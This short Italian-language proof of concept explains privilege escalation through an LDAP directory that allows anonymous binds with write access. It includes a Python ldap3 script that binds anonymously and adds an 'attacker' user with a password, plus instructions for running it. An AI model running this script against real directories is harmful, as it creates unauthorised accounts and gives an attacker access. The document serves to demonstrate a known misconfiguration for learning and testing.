
Proof-of-concept in Python per l'escalation dei privilegi tramite bind anonimo LDAP, che simula ACL insicure per creare utenti amministrativi tramite bind LDAP non autenticati.
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL
# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")
Una directory LDAP è configurata in modo errato per consentire bind anonimi e concede anche accesso in scrittura ad attributi sensibili (come userPassword). Un attaccante può effettuare il bind in modalità anonima e creare un nuovo utente amministratore, elevando i privilegi.
Eseguire la simulazione (per un test reale è necessario un server LDAP effettivo, ma mostriamo il concetto):
python ldap_anon_sim.py
Lo script tenta di aggiungere un utente in modalità anonima.